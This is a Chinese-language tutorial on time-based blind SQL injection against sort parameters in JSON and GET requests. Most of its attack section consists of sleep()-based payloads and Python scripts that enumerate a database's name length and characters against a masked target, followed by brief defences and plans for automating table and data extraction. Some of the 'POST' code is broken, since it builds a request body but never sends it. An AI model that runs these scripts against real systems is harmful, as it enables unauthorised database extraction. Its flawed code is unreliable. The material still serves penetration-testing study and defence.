时间型盲注的PY交易
字数 960 2025-08-15 21:31:42
时间型盲注攻击技术详解
一、时间型盲注概述
时间型盲注(Time-based Blind SQL Injection)是一种SQL注入技术,当应用程序存在SQL注入漏洞但不会直接返回查询结果或错误信息时,攻击者通过观察服务器响应时间的差异来推断数据库信息。
适用场景
- 应用程序使用JSON格式传输数据
- 没有明显的错误回显
- 布尔型注入不可行
- 排序参数存在SQL拼接漏洞
二、漏洞发现与验证
1. 识别潜在注入点
- 关注排序参数(orderByList)
- 观察参数格式:通常包含列名和排序方向(asc/desc)
- 注意参数拼接方式
2. 验证注入漏洞
使用时间延迟函数验证漏洞存在:
,(select*from(select(sleep(10)))a)
如果服务器响应时间明显延迟(约10秒),则确认存在时间型盲注漏洞。
三、攻击技术实现
1. POST请求攻击
数据库长度探测
(select*from(select(if(length(database())>%s,sleep(10),0)))a)
Python实现代码:
def database_len():
for i in range(1, 20):
data = '{"pageSize":20,"pageFlag":true,"orderByList":[{"column":"vType","direction":"asc,(select*from(select(if(length(database())>%s,sleep(10),0)))a)"}],"pageNum":1}'% i
time1 = datetime.datetime.now()
r = requests.get(url=url, headers=headers)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec < 1:
break
print('database_len:', i)
数据库名枚举
(select*from(select(if(substr(database(),%d,1)=\'%s\',sleep(20),1)))a)
Python实现代码:
def database_name():
name = ''
for j in range(1, 15):
for i in 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.':
data = '{"pageSize":20,"pageFlag":true,"orderByList":[{"column":"vType","direction":"asc,(select*from(select(if(substr(database(),%d,1)=%s,sleep(10),1)))a)"}],"pageNum":1}' % (j, i)
time1 = datetime.datetime.now()
r = requests.get(url=url1, headers=headers)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 1:
name += i
print(name)
break
print('database_name:', name)
2. GET请求攻击
特殊处理
当GET请求中直接使用字符比较导致错误时,可采用ASCII码比较方式:
(select*from(select(if(ascii(substr(database(),{1},1))={0},sleep(10),1)))a)
Python实现代码:
for l in range(1,100):
Url = 'https://xxxxxxxxxxxxxxxxxxxxxxx/cmt-api/cmt/campaigns?pageNum=1&pageSize=10&sort=-created_time,(select*from(select(if(length(database())<{0},sleep(10),0)))a)'
UrlFormat = Url.format(l)
start_time0 = time.time()
requests.get(UrlFormat,headers=headers)
if time.time() - start_time0 > 9:
print('database length is ' + str(l))
length = l
break
database = ''
for j in range(1,length):
for i in range(49,125):
Url = 'https://xxxxxxxxxxxxxxxxx/cmt-api/cmt/campaigns?pageNum=1&pageSize=10&sort=-created_time,(select*from(select(if(ascii(substr(database(),{1},1))={0},sleep(10),1)))a)'
UrlFormat = Url.format(i,j)
start_time0 = time.time()
requests.get(UrlFormat,headers=headers)
a = time.time() - start_time0
if a > 8:
print(chr(i))
database += chr(i)
print(database)
break
四、技术要点总结
- 时间延迟函数:主要使用
sleep()函数,也可考虑benchmark()等 - 条件判断:使用
if()函数构造条件语句 - 字符处理:
- 直接字符比较:
substr(database(),1,1)='a' - ASCII码比较:
ascii(substr(database(),1,1))=97
- 直接字符比较:
- 请求构造:
- POST请求:修改JSON参数中的排序字段
- GET请求:直接在URL参数中注入
五、防御措施
- 参数化查询:使用预编译语句
- 输入验证:对排序参数进行严格校验
- 最小权限原则:数据库账户使用最低必要权限
- WAF防护:部署Web应用防火墙检测异常请求
- 错误处理:统一错误信息,避免泄露技术细节
六、未来优化方向
-
自动化工具增强:
- 直接调用数据包功能
- 处理0值永真问题
- 多线程优化提高效率
-
代码优化:
- ASCII码处理逻辑改进
- 整体代码重构提高可读性和效率
- 增加更多数据库指纹识别功能
-
扩展功能:
- 支持更多数据库类型
- 实现自动化表名、列名枚举
- 数据提取功能增强
通过以上技术细节和实现方法,安全研究人员可以有效地检测和利用时间型盲注漏洞,同时也为开发人员提供了针对此类漏洞的防御思路。